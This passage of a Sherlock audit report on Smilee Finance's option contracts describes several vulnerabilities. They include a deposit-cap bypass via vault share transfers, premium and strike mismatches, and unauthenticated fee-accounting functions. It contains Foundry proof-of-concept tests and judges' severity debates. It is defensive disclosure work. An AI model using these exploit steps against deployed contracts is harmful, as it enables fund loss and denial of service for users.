        // NOTE: The PositionManager is just a middleman between the user and
↪   the DVP
        IERC20 baseToken = IERC20(dvp.baseToken());
        baseToken.safeTransferFrom(msg.sender, address(this), obtainedPremium);

        // Premium already include fee
        baseToken.safeApprove(params.dvpAddr, obtainedPremium);

==>     premium = dvp.mint(
            address(this),
            params.strike,
            params.notionalUp,
            params.notionalDown,
            params.expectedPremium,
            params.maxSlippage,
            params.nftAccessTokenId
        );

        // ....
    }
```

Inside `dvp.mint`, in this case, IG contract's `mint`, will use `financeParameters.currentStrike` instead of the user's provided strike: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/IG.sol#L75

```
    /// @inheritdoc IDVP
    function mint(
        address recipient,
```

```
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown,
        uint256 expectedPremium,
        uint256 maxSlippage,
        uint256 nftAccessTokenId
    ) external override returns (uint256 premium_) {
        strike;
        _checkNFTAccess(nftAccessTokenId, recipient, amountUp + amountDown);
        Amount memory amount_ = Amount({up: amountUp, down: amountDown});

==>     premium_ = _mint(recipient, financeParameters.currentStrike, amount_,
↪   expectedPremium, maxSlippage);
    }
```

But when storing the position's information inside `PositionManager`, it uses user's provided strike instead of IG's current strike : https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/periphery/PositionManager.sol#L151-L160

```
    function mint(
        IPositionManager.MintParams calldata params
    ) external override returns (uint256 tokenId, uint256 premium) {
        // ...

        if (obtainedPremium > premium) {
            baseToken.safeTransferFrom(address(this), msg.sender,
↪   obtainedPremium - premium);
        }

        if (params.tokenId == 0) {
            // Mint token:
            tokenId = _nextId++;
            _mint(params.recipient, tokenId);

            Epoch memory epoch = dvp.getEpoch();

            // Save position:
            _positions[tokenId] = ManagedPosition({
                dvpAddr: params.dvpAddr,
==>             strike: params.strike,
                expiry: epoch.current,
                premium: premium,
                leverage: (params.notionalUp + params.notionalDown) / premium,
                notionalUp: params.notionalUp,
                notionalDown: params.notionalDown,
```

```
                cumulatedPayoff: 0
            });
        } else {
            ManagedPosition storage position = _positions[tokenId];
            // Increase position:
            position.premium += premium;
            position.notionalUp += params.notionalUp;
            position.notionalDown += params.notionalDown;
            /* NOTE:
                When, within the same epoch, a user wants to buy, sell partially
                and then buy again, the leverage computation can fail due to
                decreased notional; in order to avoid this issue, we have to
                also adjust (decrease) the premium in the burn flow.
             */
            position.leverage = (position.notionalUp + position.notionalDown) /
↪   position.premium;
        }

        emit BuyDVP(tokenId, _positions[tokenId].expiry, params.notionalUp +
↪   params.notionalDown);
        emit Buy(params.dvpAddr, _positions[tokenId].expiry, premium,
↪   params.recipient);
    }
```

PoC

Add the following test to `PositionManagerTest` contract :

```
function testMintAndBurnFail() public {
    (uint256 tokenId, ) = initAndMint();
    bytes4 PositionNotFound = bytes4(keccak256("PositionNotFound()"));

    vm.prank(alice);
    vm.expectRevert(PositionNotFound);
    pm.sell(
        IPositionManager.SellParams({
            tokenId: tokenId,
            notionalUp: 10 ether,
            notionalDown: 0,
            expectedMarketValue: 0,
            maxSlippage: 0.1e18
        })
    );
}
```

Modify `initAndMint` function to the following :

```
function initAndMint() private returns (uint256 tokenId, IG ig) {
    vm.startPrank(admin);
    ig = new IG(address(vault), address(ap));
    ig.grantRole(ig.ROLE_ADMIN(), admin);
    ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
    vault.grantRole(vault.ROLE_ADMIN(), admin);
    vault.setAllowedDVP(address(ig));

    MarketOracle mo = MarketOracle(ap.marketOracle());

    mo.setDelay(ig.baseToken(), ig.sideToken(), ig.getEpoch().frequency, 0,
↪   true);

    Utils.skipDay(true, vm);
    ig.rollEpoch();
    vm.stopPrank();

    uint256 strike = ig.currentStrike();

    (uint256 expectedMarketValue, ) = ig.premium(0, 10 ether, 0);
    TokenUtils.provideApprovedTokens(admin, baseToken, DEFAULT_SENDER,
↪   address(pm), expectedMarketValue, vm);
    // NOTE: somehow, the sender is something else without this prank...
    vm.prank(DEFAULT_SENDER);
    (tokenId, ) = pm.mint(
        IPositionManager.MintParams({
            dvpAddr: address(ig),
            notionalUp: 10 ether,
            notionalDown: 0,
            strike: strike + 1,
            recipient: alice,
            tokenId: 0,
            expectedPremium: expectedMarketValue,
            maxSlippage: 0.1e18,
            nftAccessTokenId: 0
        })
    );
    assertGe(1, tokenId);
    assertGe(1, pm.totalSupply());
}
```

Run the test :

```
forge test --match-contract PositionManagerTest --match-test testMintAndBurnFail
↪  -vvv
```

Impact

If the provided strike data does not match IG's current strike price, the user's minted position using `PositionManager` will be stuck and cannot be burned. This happens because when burn is called and `position.strike` is provided, it will revert as it cannot find the corresponding positions inside IG contract.

This issue directly risking user's funds, consider a scenario where users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used, causing the mentioned issue to occur, and users' positions and funds will be stuck.

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/periphery/PositionManager.sol#L129-L137 https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/IG.sol#L75 https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/periphery/PositionManager.sol#L151-L160

Tool used

Manual Review

Recommendation

When storing user position data inside PositionManager, query IG's current price and use it instead.

```
    function mint(
        IPositionManager.MintParams calldata params
    ) external override returns (uint256 tokenId, uint256 premium) {
        // ...

        if (params.tokenId == 0) {
            // Mint token:
            tokenId = _nextId++;
            _mint(params.recipient, tokenId);

            Epoch memory epoch = dvp.getEpoch();
```

```
+           uint256 currentStrike = dvp.currentStrike();

            // Save position:
            _positions[tokenId] = ManagedPosition({
                dvpAddr: params.dvpAddr,
-                strike: params.strike,
+                strike: currentStrike,
                expiry: epoch.current,
                premium: premium,
                leverage: (params.notionalUp + params.notionalDown) / premium,
                notionalUp: params.notionalUp,
                notionalDown: params.notionalDown,
                cumulatedPayoff: 0
            });
        } else {
            ManagedPosition storage position = _positions[tokenId];
            // Increase position:
            position.premium += premium;
            position.notionalUp += params.notionalUp;
            position.notionalDown += params.notionalDown;
            /* NOTE:
                When, within the same epoch, a user wants to buy, sell partially
                and then buy again, the leverage computation can fail due to
                decreased notional; in order to avoid this issue, we have to
                also adjust (decrease) the premium in the burn flow.
             */
            position.leverage = (position.notionalUp + position.notionalDown) /
↪   position.premium;
        }

        emit BuyDVP(tokenId, _positions[tokenId].expiry, params.notionalUp +
↪   params.notionalDown);
        emit Buy(params.dvpAddr, _positions[tokenId].expiry, premium,
↪   params.recipient);
    }
```

Discussion

sherlock-admin2

2 comment(s) were left on this issue during the judging contest.

panprog commented:

> low, because it is user error to provide incorrect strike.

takarez commented:

> valid, this seem valid; high(2)

metadato-eth

SAME AS 65

said017

Escalate

This is not necesseraly require user mistakes, consider a scenario where users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used, causing the mentioned issue to occur.

sherlock-admin2

> Escalate
>
> This is not necesseraly require user mistakes, consider a scenario where users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used, causing the mentioned issue to occur.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

> Escalate
>
> This is not necesseraly require user mistakes, consider a scenario where users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used, causing the mentioned issue to occur.

This scenario is indeed possible, but it must be a very big coincidence. Considering also the comment from the sponsor then for me the report is more Low than Medium.

However, when the Judge resolves the report he has to consider that only this report and #75 explain the scenario, which is not a "user mistake".

Czar102

@cvetanovv could you elaborate on why do you think this scenario is so improbable ("a very big coincidence")?

@panprog can you elaborate on your comment on this issue?

> low, because it is user error to provide incorrect strike.

What do you mean by incorrect? (it may be a dumb question but I'm trying to understand why is there expectation of providing data in line with some contract data instead of reading the contract data)

panprog

@Czar102 When user opens a position via PositionManager, he provides a strike price for the position: this is not any price, it's strictly the price that the protocol supports, currently each epoch has exactly 1 correct strike. Meaning in most cases the loss will simply be by user mistake (who provides strike which protocol doesn't support), and issues from user mistake is invalid by sherlock rules.

There is another possibility mentioned in the report: when the user opens position at the end of the epoch, providing this epoch's strike, but transaction executes much later, after the next epoch (which has a different correct strike) starts. In such case, the user indeed will lose his funds while providing the correct data. The probability of this is extremely low (prices at the end of epoch are very negatively skewed against the user, so it's very unprofitable to trade at the end of the epoch, epoch is rolled to the next one by the admin, and it doesn't happen instantly, can also take some time, additionally the new epoch's premium to be paid will likely be higher than in previous epoch due to time premium being high at the start of new epoch, so the transaction is also likely to revert due to not enough allowance for the expected premium). But yeah, it's still possible that it happens and in this case it's valid, still low severity or boderline.

cvetanovv

Basically, these 4 reports are invalid because of a "user error". But two of the reports(23 and 75) mention a case where I quote from this report: "users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used" By the word "coincidence" I mean exactly this scenario which is described only in this report and in #75

said017

The impact of this issue is a direct freeze of funds, so I'm not sure why it is considered low severity. It is considered best practice to never assume the execution time of a transaction. It is possible that when a transaction is requested, it is not much closer to the epoch change, but executed after the epoch change. So high severity is fair. And this issue has been fixed by the sponsor, so I'm not sure why there is a 'won't fix' flag here. https://github.com/dverso/smilee-v2-contracts/commit/7226eee8ec1c454ef9f7386b77428a41d91238b4

Czar102

It seems that despite this scenario wouldn't happen often, a severe loss may be inflicted.

I'm planning to consider this and #75 valid Medium severity duplicates and accept the escalation.

Czar102

Result: Medium Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- said017: accepted

Issue M-3: Whenever swapPrice > oraclePrice, minting via PositionManager will revert, due to not enough funds being obtained from user.

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/32

Found by

cawfree, juan, panprog

Summary

In PositionManager::mint(), `obtainedPremium` is calculated in a different way to the actual premium needed, and this will lead to a revert, denying service to users.

Vulnerability Detail

In PositionManager::mint(), the PM gets `obtainedPremium` from `DVP::premium()`:

```
(obtainedPremium, ) = dvp.premium(params.strike, params.notionalUp,
↪  params.notionalDown);
```

Then the actual premium used when minting by the DVP is obtained via the following code:

```
uint256 swapPrice = _deltaHedgePosition(strike, amount, true);
uint256 premiumOrac = _getMarketValue(strike, amount, true,
↪  IPriceOracle(_getPriceOracle()).getPrice(sideToken, baseToken));
uint256 premiumSwap = _getMarketValue(strike, amount, true, swapPrice);
premium_ = premiumSwap > premiumOrac ? premiumSwap : premiumOrac;
```

From the code above, we can see that the actual premium uses the greater of the two price options. However, DVP::premium() only uses the oracle price to determine the `obtainedPremium`.

This leads to the opportunity for `premiumSwap > premiumOrac`, so in the PositionManager, `obtainedPremium` is less than the actual premium required to mint the position in the DVP contract.

Thus, when the DVP contract tries to collect the premium from the PositionManager, it will revert due to insufficient balance in the PositionManager:

```
IERC20Metadata(baseToken).safeTransferFrom(msg.sender, vault, premium_ +
↪  vaultFee);
```

Impact

Whenever `swapPrice > oraclePrice`, minting positions via the PositionManager will revert. This is a denial of service to users and this disruption of core protocol functionality can last extended periods of time.

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/DVP.sol#L152-L155

Tool used

Manual Review

Recommendation

When calculating `obtainedPremium`, consider also using the premium from `swapPrice` if it is greater than the premium calculated from `oraclePrice`.

Discussion

sherlock-admin2

2 comment(s) were left on this issue during the judging contest.

panprog commented:

> valid high, dup of #42

takarez commented:

> valid, the calculation should consider the swapPrice; medium(1)

metadato-eth

MEDIUM DoS but 1) no fund at risk, 2) overcome easily by changing the position manager, 3) immediately identifiable by internal testing before official release

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/84174d20544970309c862a2bf35ccfa3046d6bd9.

panprog

Fix review; Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-4: Transferring ERC20 Vault tokens to another address and then withdrawing from the vault breaks `totalDeposit` accounting which is tied to deposit addresses

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/39

The protocol has acknowledged this issue.

Found by

3docSec, KingNFT, cawfree, ge6a, jasonxiale, panprog

Summary

Vault inherits from the ERC20, so it has transfer functions to transfer vault shares. However, `totalDeposit` accounting is tied to addresses of users who deposited with the assumption that the same user will withdraw those shares. This means that any vault tokens transfer and then withdrawal from either user breaks the accounting of `totalDeposit`, allowing to either bypass the vault's max deposit limitation, or limit the vault from new deposits, by making it revert for exceeding the vault deposit limit even if the amount deposited is very small.

Vulnerability Detail

`Vault` inherits from `ERC20`:

```
contract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {
```

which has public `transfer` and `transferFrom` functions to transfer tokens to the other users, which any user can call:

```
function transfer(address to, uint256 amount) public virtual override returns
↪  (bool) {
    address owner = _msgSender();
    _transfer(owner, to, amount);
    return true;
}
```

In order to limit the deposits to vault limit, vault has `maxDeposit` parameter set by admin. It is used to limit the deposits above this amount, reverting deposit transactions if exceeded:

```
// Avoids underflows when the maxDeposit is setted below than the totalDeposit
if (_state.liquidity.totalDeposit > maxDeposit) {
    revert ExceedsMaxDeposit();
}

if (amount > maxDeposit - _state.liquidity.totalDeposit) {
    revert ExceedsMaxDeposit();
}
```

In order to correctly calculate the current vault deposits (`_state.liquidity.totalDeposit`), the vault uses the following:

1. Vault tracks cumulative deposit for each user (`depositReceipt.cumulativeAmount`)
2. When user deposits, cumulative deposit and vault's `totalDeposit` increase by the amount of asset deposited
3. When user initiates withdrawal, both user's cumulative amount and `totalDeposit` are reduced by the percentage of cumulative amount, which is equal to perecentage of shares being withdrawn vs all shares user has.

This process is necessary, because the share price changes between deposit and withdrawal, so it tracks only actual deposits, not amounts earned or lost due to vault's profit and loss.

As can easily be seen, this withdrawal process assumes that users can't transfer their vault shares, because otherwise the withdrawal from the user who never deposited but got shares will not reduce `totalDeposit`, and user who transferred the shares away and then withdraws all remaining shares will reduce `totalDeposit` by a large amount, while the amount withdrawn is actually much smaller.

However, since `Vault` is a normal `ERC20` token, users can freely transfer vault shares to each other, breaking this assumption. This leads to 2 scenarios:

1. It's easily possible to bypass vault deposit cap: 1.1. Alice deposits up to max deposit cap (say, 1M USDC) 1.2. Alice transfers all shares except 1 wei to Bob 1.3. Alice withdraws 1 wei share. This reduces totalDeposit by full Alice deposited amount (1M USDC), but only 1 wei share is withdrawn, basically 0 assets withdrawn. 1.4. Alice deposits 1M USDC again (now the total deposited into the vault is 2M, already breaking the cap of 1M).
2. It's easily possible to lock the vault from further deposits even though the vault might have small amount (or even 0) assets deposited. 2.1. Alice deposits up to max deposit cap (say, 1M USDC) 2.2. Alice transfers all shares except 1 wei to Bob 2.3. Bob withdraws all shares. Since Bob didn't deposit previously, this doesn't reduce `totalDeposit` at all, but withdraws all 1M USDC

to Bob. At this point `totalDeposit` = 1M USDC, but vault has 0 assets in it and no further deposits are accepted due to `maxDeposit` limit.

Impact

Important security measure of vault max deposit limit can be bypassed, potentially losing funds for the users when the admin doesn't want to accept large amounts for various reasons (like testing something).

It's possible to lock vault from deposits by inflating the `totalDeposit` without vault having actual assets, rendering the operations useless due to lack of liquidity and lack of ability to deposit. Even if `maxDeposit` is increased, `totalDeposit` can be inflated again, breaking protocol core functioning.

Proof Of Concept

Copy to `attack.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPositionManager} from "@project/interfaces/IPositionManager.sol";
import {Epoch} from "@project/lib/EpochController.sol";
import {AmountsMath} from "@project/lib/AmountsMath.sol";
import {EpochFrequency} from "@project/lib/EpochFrequency.sol";
import {OptionStrategy} from "@project/lib/OptionStrategy.sol";
import {AddressProvider} from "@project/AddressProvider.sol";
import {MarketOracle} from "@project/MarketOracle.sol";
import {FeeManager} from "@project/FeeManager.sol";
import {Vault} from "@project/Vault.sol";
import {TestnetToken} from "@project/testnet/TestnetToken.sol";
import {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";
import {DVPUtils} from "./utils/DVPUtils.sol";
import {TokenUtils} from "./utils/TokenUtils.sol";
import {Utils} from "./utils/Utils.sol";
import {VaultUtils} from "./utils/VaultUtils.sol";
import {MockedIG} from "./mock/MockedIG.sol";
import {MockedRegistry} from "./mock/MockedRegistry.sol";
import {MockedVault} from "./mock/MockedVault.sol";
import {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";
import {PositionManager} from "@project/periphery/PositionManager.sol";
```

```
contract IGVaultTest is Test {
    using AmountsMath for uint256;

    address admin = address(0x1);

    // User of Vault
    address alice = address(0x2);
    address bob = address(0x3);

    //User of DVP
    address charlie = address(0x4);
    address david = address(0x5);

    AddressProvider ap;
    TestnetToken baseToken;
    TestnetToken sideToken;
    FeeManager feeManager;

    MockedRegistry registry;

    MockedVault vault;
    MockedIG ig;
    TestnetPriceOracle priceOracle;
    TestnetSwapAdapter exchange;
    uint _strike;

    function setUp() public {
        vm.warp(EpochFrequency.REF_TS);
        //ToDo: Replace with Factory
        vm.startPrank(admin);
        ap = new AddressProvider(0);
        registry = new MockedRegistry();
        ap.grantRole(ap.ROLE_ADMIN(), admin);
        registry.grantRole(registry.ROLE_ADMIN(), admin);
        ap.setRegistry(address(registry));

        vm.stopPrank();

        vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap,
↪   admin, vm));
        priceOracle = TestnetPriceOracle(ap.priceOracle());

        baseToken = TestnetToken(vault.baseToken());
        sideToken = TestnetToken(vault.sideToken());
```

```
        vm.startPrank(admin);

        ig = new MockedIG(address(vault), address(ap));
        ig.grantRole(ig.ROLE_ADMIN(), admin);
        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
        vault.grantRole(vault.ROLE_ADMIN(), admin);
        vm.stopPrank();
        ig.setOptionPrice(1e3);
        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1
        ig.useRealDeltaHedge();
        ig.useRealPercentage();
        ig.useRealPremium();

        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);

        vm.prank(admin);
        registry.registerDVP(address(ig));
        vm.prank(admin);
        MockedVault(vault).setAllowedDVP(address(ig));
        feeManager = FeeManager(ap.feeManager());

        exchange = TestnetSwapAdapter(ap.exchangeAdapter());
    }

    function testVaultDepositLimitBypass() public {
        _strike = 1e18;
        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);
        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);

        Utils.skipDay(true, vm);

        vm.prank(admin);
        ig.rollEpoch();

        VaultUtils.logState(vault);
        (,,,,uint totalDeposit,,,,) = vault.vaultState();
        console.log("total deposits", totalDeposit);

        vm.startPrank(alice);
        vault.redeem(1e18);
        vault.transfer(address(charlie), 1e18-1);
        vault.initiateWithdraw(1);
        vm.stopPrank();

        VaultUtils.logState(vault);
        (,,,,totalDeposit,,,,) = vault.vaultState();
        console.log("total deposits", totalDeposit);
```

```
    }
}
```

Execution console:

```
current epoch 1698566400
baseToken balance 1000000000000000000
sideToken balance 1000000000000000000
dead false
lockedInitially 2000000000000000000
pendingDeposits 0
pendingWithdrawals 0
pendingPayoffs 0
heldShares 0
newHeldShares 0
base token notional 1000000000000000000
side token notional 1000000000000000000
----------------------------------------
total deposits 2000000000000000000
current epoch 1698566400
baseToken balance 1000000000000000000
sideToken balance 1000000000000000000
dead false
lockedInitially 2000000000000000000
pendingDeposits 0
pendingWithdrawals 0
pendingPayoffs 0
heldShares 0
newHeldShares 1
base token notional 1000000000000000000
side token notional 1000000000000000000
----------------------------------------
total deposits 1000000000000000000
```

Notice:

1. Demonstrates vault deposit limit bypass
2. Vault has total assets of 2, but the total deposits is 1, allowing further deposits.

Code Snippet

`Vault._initiateWithdraw` calculates amount which is subtracted from cumulative and `totalDeposit`: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/Vault.sol#L487-L510

Tool used

Manual Review

Recommendation

Either disallow transferring of vault shares or track vault assets instead of deposits. Alternatively, re-design the withdrawal system (for example, throw out cumulative deposit calculation and simply calculate total assets and total shares and when withdrawing - reduce `totalDeposit` by the `sharesWithdrawn / totalShares * totalDeposit`)

Discussion

sherlock-admin4

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid; maxDeposit cap can be bypassed; medium(10)

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/2f2feb651c6528b0405d36b6bfe760d66a515335.

panprog

Fix Review: It's still possible to bypass deposit limit by transferring vault token to vault itself (transfers to vault still don't do anything). However, all extra deposits will be lost since vault will own them and nobody will be able to withdraw it. So all those extra deposits will by unrecoverable, but deposit amounts will still be above the limit, which can influence (inflate) delta hedge amounts and the other things which deposit limit is expected to control. The impact is now less severe than originally as it's very costly to bypass deposit limit and no benefit for the attacker.

Issue M-5: PositionManager will revert when trying to return back to user excess of the premium transferred from the user when minting position

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/40

Found by

juan, panprog

Summary

`PositionManager.mint` calculates preliminary premium to be paid for buying the option and transfers it from the user. The actual premium paid may differ, and if it's smaller, excess is returned back to user. However, it is returned using the `safeTransferFrom`:

```
if (obtainedPremium > premium) {
    baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium -
↪   premium);
}
```

The problem is that `PositionManager` doesn't approve itself to transfer baseToken to `msg.sender`, and USDC `transferFrom` implementation requires approval even if address is transferring from its own address. Thus the transfer will revert and user will be unable to open position.

Vulnerability Detail

Both `transferFrom` implementations in USDC on Arbitrum (USDC and USDC.e) require approval from any address, including when doing transfers from your own address. https://arbiscan.io/address/0x1efb3f88bc88f03fd1804a5c53b7141bbef5ded8#code

```
function transferFrom(address sender, address recipient, uint256 amount) public
↪   virtual override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,
↪   "ERC20: transfer amount exceeds allowance"));
    return true;
}
```

https://arbiscan.io/address/0x86e721b43d4ecfa71119dd38c0f938a75fdb57b3#code

```
function transferFrom(
    address from,
    address to,
    uint256 value
)
    external
    override
    whenNotPaused
    notBlacklisted(msg.sender)
    notBlacklisted(from)
    notBlacklisted(to)
    returns (bool)
{
    require(
        value <= allowed[from][msg.sender],
        "ERC20: transfer amount exceeds allowance"
    );
    _transfer(from, to, value);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
    return true;
}
```

`PositionManager` doesn't approve itself to do transfers anywhere, so `baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);` will always revert, preventing the user from opening position via `PositionManager`, breaking important protocol function.

Impact

User is unable to open positions via `PositionManager` in certain situations as all such transactions will revert, breaking important protocol functionality and potentially losing user funds / profit due to failure to open position.

Code Snippet

`PositionManager.mint` transfers base token back to `msg.sender` via `safeTransferFrom`: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/periphery/PositionManager.sol#L139-L141

Tool used

Manual Review

Recommendation

Consider using `safeTransfer` instead of `safeTransferFrom` when transferring token from self.

Discussion

sherlock-admin2

2 comment(s) were left on this issue during the judging contest.

santipu_ commented:

> Invalid - code will never execute bc actual premium is always >= obtainedPremium due to using the worst price between oracle and swap.

takarez commented:

> valid, medium(2)

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/84174d20544970309c862a2bf35ccfa3046d6bd9.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

santipu03

Escalate

This issue is LOW because the bug will never be triggered.

`PositionManager` calculates the variable `obtainedPremium` calling `DVP.premium`, that uses the oracle price to calculate the premium:

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/IG.sol#L104

```
premium_ = _getMarketValue(financeParameters.currentStrike, amount_, true,
↪  price);
```

Later, when minting the position, the actual premium is calculated on `DVP._mint`, using the oracle price and the swap price:

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/DVP.sol#L155

```
uint256 swapPrice = _deltaHedgePosition(strike, amount, true);
uint256 premiumOrac = _getMarketValue(strike, amount, true,
↪  IPriceOracle(_getPriceOracle()).getPrice(sideToken, baseToken));
uint256 premiumSwap = _getMarketValue(strike, amount, true, swapPrice);
premium_ = premiumSwap > premiumOrac ? premiumSwap : premiumOrac;
```

The actual premium to pay will be the result of the higher value between the swap-priced premium and the oracle-priced premium. So, in the scenario where the swap price is lower than the oracle price, the oracle price will be used to compute the final premium.

Therefore, it's not possible that the final premium is a lower value than `obtainedPremium`, so the bug will never be triggered because the condition `obtainedPremium > premium` will never be true.

sherlock-admin2

> Escalate
>
> This issue is LOW because the bug will never be triggered.
>
> `PositionManager` calculates the variable `obtainedPremium` calling `DVP.premium`, that uses the oracle price to calculate the premium:
>
> https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/IG.sol#L104
>
> ```
> premium_ = _getMarketValue(financeParameters.currentStrike, amount_, true,
> ↪  price);
> ```
>
> Later, when minting the position, the actual premium is calculated on `DVP._mint`, using the oracle price and the swap price:
>
> https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/DVP.sol#L155
>
> ```
> uint256 swapPrice = _deltaHedgePosition(strike, amount, true);
> uint256 premiumOrac = _getMarketValue(strike, amount, true,
> ↪  IPriceOracle(_getPriceOracle()).getPrice(sideToken, baseToken));
> uint256 premiumSwap = _getMarketValue(strike, amount, true, swapPrice);
> premium_ = premiumSwap > premiumOrac ? premiumSwap : premiumOrac;
> ```
>
> The actual premium to pay will be the result of the higher value between the swap-priced premium and the oracle-priced premium. So, in the scenario where the swap price is lower than the oracle price, the oracle price will be used to compute the final premium.

> Therefore, it's not possible that the final premium is a lower value than `obtainedPremium`, so the bug will never be triggered because the condition `obtainedPremium > premium` will never be true.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

panprog

Yes, the way it is now, it can never actually happen but that's only due to another issue which makes it revert if any DEX slippage occurs. When it works as intended, the remainder has to be transferred back to the sender.

So yeah, up to judge to decide. I consider it borderline, because if we isolate "how it is supposed to work", returning back the remainder should be possible, it's impossible only due to a different issue.

cvetanovv

It seems that the report is invalid. I think we should judge according to the code that is at the moment, not if it works properly.

nevillehuang

Based on head of judging comments in a previous contest for such issues, I believe this should remain valid.

Czar102

I agree with @panprog and @nevillehuang – the fix to the other issue will not fix this one. Hence, these are separate issues and both of them may be valid since they present discrepancies from the expected behavior of the contracts.

I'm planning to reject the escalation and leave the issue as is.

Czar102

Result: Medium Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- santipu03: rejected

Issue M-6: FeeManager `receiveFee` and `trackVaultFee` functions allow anyone to call it with user-provided dvp/vault address and add any arbitrary feeAmount to any address, breaking fees accounting and temporarily bricking DVP smart contract

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/43

Found by

3docSec, FonDevs, HOM1T, KingNFT, bearonbike, ge6a, hals, jennifer37, juan, panprog, santipu_

Summary

`FeeManager` uses `trackVaultFee` function to account vault fees. The problem is that this function can be called by any smart contract implementing `vault()` function (there are no address or role authentication), thus malicious user can break all vault fees accounting by randomly inflating existing vault's fees, making it hard/impossible for admins to determine the real split of fees between vaults. Moreover, malicious user can provide such `feeAmount` to `trackVaultFee` function, which will increase any vault's fee to `uint256.max` value, meaning all following calls to `trackVaultFee` will revert due to fee addition overflow, temporarily bricking DVP smart contract, which calls `trackVaultFee` on all mints and burns, which will always revert until `FeeManager` smart contract is updated to a new address in `AddressProvider`.

Similarly, `receiveFee` function is used to account fee amounts received by different addresses (dvp), which can later be withdrawn by admin via `withdrawFee` function. The problem is that any smart contract implementing `baseToken()` function can call it, thus any malicious user can break all accounting by adding arbitrary amounts to their addresses without actually paying anything. Once some addresses fees are inflated, it will be difficult for admins to track fee amounts which are real, and which are from fake `dvp`s and fake tokens.

Vulnerability Detail

`FeeManager.trackVaultFee` function has no role/address check:

```
function trackVaultFee(address vault, uint256 feeAmount) external {
    // Check sender:
```

```
    IDVP dvp = IDVP(msg.sender);
    if (vault != dvp.vault()) {
        revert WrongVault();
    }

    vaultFeeAmounts[vault] += feeAmount;

    emit TransferVaultFee(vault, feeAmount);
}
```

Any smart contract implementing `vault()` function can call it. The vault address returned can be any address, thus user can inflate vault fees both for existing real vaults, and for any addresses user chooses. This totally breaks all vault fees accounting.

`FeeManager.receiveFee` function has no role/address check either:

```
    function receiveFee(uint256 feeAmount) external {
        _getBaseTokenInfo(msg.sender).safeTransferFrom(msg.sender,
↪   address(this), feeAmount);
        senders[msg.sender] += feeAmount;

        emit ReceiveFee(msg.sender, feeAmount);
    }
...
    function _getBaseTokenInfo(address sender) internal view returns
↪   (IERC20Metadata token) {
        token = IERC20Metadata(IVaultParams(sender).baseToken());
    }
```

Any smart contract crafted by malicious user can call it. It just has to return base token, which can also be token created by the user. After transfering this fake base token, the `receiveFee` function will increase user's fee balance as if it was real token transferred.

Impact

